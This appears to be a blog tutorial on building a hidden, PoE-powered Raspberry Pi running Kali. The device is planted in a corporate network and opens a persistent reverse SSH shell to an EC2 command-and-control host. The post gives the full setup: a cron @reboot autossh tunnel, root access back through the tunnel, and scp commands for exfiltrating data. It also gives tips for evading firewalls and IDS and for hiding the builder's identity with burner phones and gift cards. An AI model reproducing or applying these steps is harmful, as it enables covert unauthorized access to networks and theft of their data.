Building a POE-Powered Kali Pi Drop Box with Reverse Shell for Remote Hacking

Recently I stumbled upon a very cheap adapter for a Raspberry Pi (or any other device that requires 5V @ 2.5A via micro USB) that supplies both power via only POE and Ethernet pass-through to a Raspberry Pi, including the latest model, the 3B+. This gave me an idea to create a “headless” (no keyboard, mouse, monitor, AC power supply, or battery required) “drop box” for penetration testing or hacking. I decided to name it the Kali Pi Drop Box.

Proposed Methodology

The idea would be to sneak this device in to a network, corporate or otherwise, and attach it to a switch or network jack via an Ethernet cable. If POE switches were being utilized, and POE was not explicitly disabled on the port, the device would be able to receive power and boot automatically. The status of this could be immediately checked via the small LEDs on the device. No LEDs would mean no POE, and one could easily try a different port or location.

Since the device is so small, it could easily be hidden in a messy network rack, or if access to a server room or network closet wasn’t available, it could be  hidden or taped under someone’s desk, in a cubicle, or even under a conference room table. All of these locations typically have Ethernet ports that are open and unmonitored, and POE access layer switches are becoming more and more common.

Once the device is powered up, it automatically establishes a connection to a command and control server outside the network. This happens via SSH, and is encrypted, in order to prevent detection from an IDS device or firewall. Additionally, instead of an arbitrary port (which I’ll be showing in this example), the device could be configured to use port 443, which is a standard port that would never be blocked outbound on a firewall. The outbound connection in this example will be to another Linux server running on Amazon EC2. The Kali drop box will establish an encrypted SSH tunnel to the EC2 virtual machine, and wait for the EC2 virtual machine to establish a control SSH tunnel back, which will be encapsulated within the outbound tunnel from the drop box. This allows the return SSH connection to completely bypass any firewall rules that would otherwise stop it. This example will use certificates for all of these tunnels, so that no physical interaction needs to happen on the drop box at boot, but all tunnels will still be secure.

From a pen tester / attacker’s main machine, an SSH session could then be established to the Amazon EC2 virtual machine, and then another tunnel would be established back to the Kali Pi Drop Box. This hair-pinned SSH session would allow the issuance of commands on the drop box, and would also allow the transfer of files/data/etc. to and from the drop box directly to the pen tester / attacker’s machine. This would be used to exfiltrate data from the corporate network, or to copy additional hacking tools or scripts to the drop box from the remote machine.

I have successfully tested all of this with the latest version of Kali available for the Raspberry Pi 3B+, version 2018.3a, and with Amazon AWS as of today’s date (2/2/2019). In this example, we will be using Amazon DNS for the EC2 machine, so a static public IP address is not required. We will also be using a very small instance of an EC2 VM, with only 1 CPU core and 1GB of RAM, so there will be no cost on the AWS side, as this size machine fits within the free tier on AWS.

What We’ll Need

For this example, I purchased the following items from Amazon.

• UTronics POE Ethernet Adapter – Provides 5V at 2.5A, plenty for a Pi 3B+
• Raspberry Pi 3B+ – The latest model of the Raspberry Pi
• 32GB Micro SD Card – I could have probably gotten away with a smaller card, but 32GB for $8 isn’t bad
• FLIRC Case – I could use da cheaper case than this, but I like these cases because the entire case acts as a heat sync and keeps the Pi cool

Total spend was around $77 with free shipping. If I would have used a cheaper case and a smaller microSD card I could have probably knocked that down to around $60. Depending on the speed required you could also downgrade the Pi 3B+ to a Pi Zero W possibly as well. There is a Kali ARM image for the Pi Zero W, but the PiZW is considerably slower than the 3B+.

The integrated network adapter inside the Pi doesn’t support monitor mode or packet injection, but you could possibly add an inexpensive Alfa Wi-Fi adapter to the device to enable this functionality if you so desired.

We’ll need to download the latest Raspberry Pi 3B 64-bit image available from the Kali Linux ARM downloads website. We’ll also need a tool like Win32diskImager (Windows), Etcher (Windows/macOS/Linux), or dd (macOS/Linux) to write the image to your microSD card. This article assumes that you know how to do that already, and if you don’t, you can check out a tutorial on flashing Pi images here.

Registering with Amazon EC2

The Amazon Web Services service that we’ll be using to host our virtual Kali instance in the cloud is called EC2. Virtual machines on EC2 are referred to by Amazon as “instances.” If we keep our disk, CPU, and RAM usage under a certain threshold, we can use EC2 for free. You can sign up for EC2 at this link, and begin the registration process by clicking the “Try EC2 for Free” button. I’m not going to explicitly walk through the entire account setup process, as I’m sure the UI for the pages will change from time to time and I want to keep this article as timeless as possible. Know that you will be asked for two pieces of personal information. The first being a credit card (in case you start consuming more resources than what’s allowed under the free tier), and the second is a phone number so they can text you with a confirmation code. Note that your EC2 account is separate from an Amazon account that you might use to say, buy things on Amazon. The accounts can share an email address (username), but have different passwords and are managed separately.

If you want to get around exposing personal information to Amazon, you could possibly use a cash, pre-paid burner phone from a company like Tracfone, and a pre-paid VISA or Mastercard gift card.

Setting up a Kali EC2 Instance

Note: The first thing I should note is that we won’t be using the EC2 Kali instance to launch scans or attacks from, so a Kali Linux box isn’t absolutely required here. We also have the option of creating an Ubuntu, Suse, or RedHat Linux instance under the free tier as well. I know that Kali comes with all of the tools that we are going to need to do this pre-installed, so that’s the image I chose to install and that’s the one that I’ll be using for the rest of this guide. If you choose to go with another image, know that some commands in this guide might not work, and please don’t ask me for support should you choose to go off the beaten path.

Legal Warning: If you start running scans or trying to launch attacks from this EC2 Kali image, it’s very likely that Amazon will come down on you hard, and will certainly alert authorities. Just because you’re running a box “in the cloud” doesn’t mean you’re invisible. Amazon is big, has a lot of money, and is in bed with a lot of ISPs. Don’t do anything stupid. In this example, we are using this Kali box as a command and control conduit between our drop box (on site at a remote location) and our main machine (somewhere else) and nothing more. Additionally, Amazon can and will wipe out this EC2 instance at will, so don’t keep anything on it that you don’t want to lose. Again, most importantly, don’t run scans from the EC2 instance!

Once we’ve got our AWS account set up and are logged in to the EC2 dashboard, the first thing we need to do is generate a public and private key pair. This will be used to SSH in to the AWS instance from other machines. This is required instead of a username and password when using EC2. We will not be given a root account for the EC2 machine, rather we will be given an account called ec2-user with su permissions. Regardless of what SSH utility we use to connect, we’ll be using our AWS-generated certificate key file to authenticate. We do have the option of securing this certificate key file with a password, which we will not be doing. Why not? Because on the Kali Pi Drop Box we want the initial SSH connection to happen automatically without having to plug in a keyboard to log in to AWS manually each time it’s powered on.

From the EC2 dashboard:

1. From the left menu, go to Network Security > Key Pairs
2. Click the Create Key Pair button
3. Type a key pair name (can be anything)
4. Click the button to create a key pair

A .pem file will automatically be downloaded. Keep this file safe and do not lose it. Without this file you won’t be able to log in to your EC2 Kali instance.

Next, we’ll create our EC2 Kali Instance. From the EC2 dashboard:

1. From the left menu click Instances > Instances
2. Click the Launch Instance button
3. From the menu on the left select AWS Marketplace
4. In the search box above that menu type Kali and press Enter
5. Next to Kali, way to the right, click the Select button
6. Change the size of the instance to t2.micro “Free tier Eligible“
7. Click through Review > Launch buttons and click the tick box for acknowledging that you have access to the key file
8. Finally choose Launch Instances button

From here, our EC2 Kali instance will be automatically spun up and will begin to boot. Creation time only takes a few minutes. Once the machine is up and running, it should show as running within the EC2 dashboard.

Be sure to take note of the Public DNS address under the Public DNS (IPv4) column. This address will be used a lot throughout the configuration and because of that we should write it down. It’s in the following format:

ec2-x.y.compute.aws.com

…where x is a unique number separated by dashes, y is a server farm that corresponds to our physical location, and the domain compute.aws.com finishes it up. An example might be ec2-55-55-444-444.us-east-2.compute.amazon.com. Again, write this down. We’ll be using it instead of an IP address for all of our configuration going forward.

Setting Up the Kali Pi Drop Box

If you haven’t already, download the latest Kali Pi image and flash it to your SD card. Put the SD card inside the Pi and connect a keyboard, mouse and monitor and power it up. We’ll need the keyboard, mouse and monitor for initial setup, but they won’t be needed after everything is ready to go.

When setting up the box, we may be asked if we want auto login enabled. Do not enable auto login. It’s not required. Initial boot takes a bit longer than subsequent boots as Kali runs some setup and cleanup scripts.

The first thing to do is to change the root password. The default root password is toor. Change it in a terminal with the psswd command.

Next, we’ll want to get rid of all the default SSH host keys that come with the image. From a terminal:

rm /etc/ssh/ssh_host_*
dpkg-reconfigure openssh-server
service ssh restart

Next, we’ll need to install autossh, as it doesn’t come installed by default on the ARM image. You’ll need to ensure that the Pi is connected to the Internet for the rest of this tutorial. You can do so via a wired or wireless connection.

apt-get update
apt-get install autossh

Next, we’ll need to generate a public and private keypair. This will be used to allow the EC2 Kali instance to log in to the Pi Kali Drop Box.

ssh-keygen

This will result in two keys, both a public and private key

~/.ssh/id_rsa.pub   #Public key
~/..sh/id_rsa       #Private key

Next, we’ll need to get a copy of the AWS EC2 .pem key file on to the Pi Kali Drop Box and put it in the ~/.ssh directory. It really doesn’t matter how we do this. I used a USB thumb drive since I wanted to keep a backup on that device anyway, but we could use scp as well. After copying it, we’ll have to fix permissions.

chmod 400 ~/.ssh/EC2Key.pem

If permissions aren’t set correctly, EC2 won’t allow us to connect to the instance via SSH and will throw up a warning. To test the connection to the EC2 Kali instance, which should now be up and running, we can issue the following command from a Linux terminal:

ssh -i ~/.ssh/EC2Key.pem ec2-00-00-00-00.us-east-2.compute.amazonaws.com -l ec2-user

When performing this command we’ll replace the certificate key file name and the public DNS name of the EC2 Kali instance with your own information. Note that we’re using ecs2-user to connect to the machine and not root. This is because AWS does not give us access to the root account. At this point, we should be able to successfully connect.

Configuring SSH Reverse Shell on Boot

Keep the connection from the last section up and connected to the EC2 Kali instance, as we’ll be going back and forth to perform configuration for the rest of the article.

Open another terminal on the Kali Pi Drop Box and copy the local public SSH key that we generated earlier up to the EC2 Kali instance.

scp -i ~/.ssh/EC2Key.pem ~/.ssh/id_rsa.pub ec2-user@ec2-00-00-00-00.us-east-2.compute.amazonaws.com:~

Again, change values on parameters to your own certificate key file name and DNS information. Notice that we’re using the EC2 certificate  key file to connect up to the instance. Also take note of the :~ at the end of the line. This is telling scp to put a copy of the id_rsa.pub file in the home directory on the remote machine.

Switch to the terminal controlling the EC2 Kali instance. From here we should be able to do an ls in the home directory and see the id_rsa.pub file. We’ll want to cat the contents of that file to the end of our ~/.ssh/authorized_keys file, and then we can remove the .pub file. This tells the EC2 Kali Instance that we’ll be allowed to SSH to this machine using the private key on our Kali Pi Drop Box without having to type a password.

cat ~/id_rsa.pub >> ~/.ssh/authorized_keys
rm ~/id_rsa.pub

Switch back to the Kali Pi Drop Box terminal. From here we’ll want to configure a command to run at startup. This command will use autossh to automatically connect to the AWS Kali instance when the Kali Pi Drop Box boots. This won’t require any sort of interactive login from us, so a keyboard, mouse, or monitor won’t be required for it to kick off manually. The easiest way I’ve found to do this is to throw it in to a cron job that automatically runs after the system is rebooted. To edit your local crontab:

contab -e

The first time we run this we’ll be asked which text editor we want to use to use to edit the file. I chose nano, but you can choose your favorite.

After choosing an editor, on the last line of the configuration file we’ll add the following:

@reboot autossh -M 20000 -N -f -i ~/.ssh/id_rsa -R 6667:localhost:22 ec2-user@ec2-00-00-00-00.us-east-2.compute.amazonaws.com &

Again, replace the appropriate DNS name with that of your own. Notice @reboot at the beginning of the line. That tells cron to run this at boot time. Also notice the & at the end of the line. That tells the process to run in the background, which speeds up boot time. Ports 20000 and 6667 are arbitrary port numbers, and can be changed, but we’ll see them again later.

From here, we can shut the Kali Pi Drop Box down. Disconnect the keyboard, monitor, mouse, power supply, etc. and connect up the POE Ethernet device to the Ethernet port and the micro USB port. The device is now ready to be plugged in to a POE switch port, and upon boot, will establish and Internet connection and phone home to the EC2 Kali instance.

Reverse Shell to the Kali Pi Drop Box

Using the EC2 key file, SSH from your main machine in to the EC2 Kali instance. Use the following command to view all open ports:

sudo lsof -i -P -n | grep LISTEN

We should see output similar to the following:

Notice our TCP ports 20000 and 6667 in the list. If the result of this command shows only port 22, something in the configuration on the Kali Pi Drop Box is wrong and/or that box hasn’t successfully connected to the EC2 Kali instance for some reason. Double check all configurations on the Drop Box, and ensure it has connectivity to the Internet from wherever it’s plugged in. Temporarily plugging in a display and keyboard might be required for troubleshooting. Also be sure that red LED on the Pi is lit, indicating it has power.

If ports 20000 and 6667 are being displayed, the Kali Pi Drop Box has successfully established a persistent reverse shell to the EC2 Kali instance, and we can connect back to the Kali Pi Drop Box with the following command:

ssh root@localhost -p 6667

We should now be connected via reverse shell to a root session on the Drop Box.

Transferring Files Using scp

At this point we can easily transfer files back and forth between the Kali Pi Drop Box and the EC2 Kali instance, or the EC2 Kali instance and our main machine using scp.

As an example syntax of transferring a text file from the Kali Pi Drop Box to the home directory of ec2-user on EC2:

scp -i ~/.ssh/EC2Key.pem ~/file.txt ec2-user@ec2-00-00-00-00.us-east-2.compute.amazonaws.com:~

And to transfer a file back, just swap the last two parameters:

scp -i ~/.ssh/EC2Key.pem ec2-user@ec2-00-00-00-00.us-east-2.compute.amazonaws.com:~/file.txt file.txt

Both of these commands are done on the remote side, be it either on the Kali Pi Drop Box or on your local machine. It doesn’t appear as if EC2 is set up in such a way that you can force a file down from EC2 to either local machine, rather you’d have to send the file to EC2 from a local machine and retrieve the file from EC2 using another local machine. This makes sense for security reasons I guess, but if anyone is able to figure out how to send files from EC2 to connect remote machines over scp, let me know in the comments below.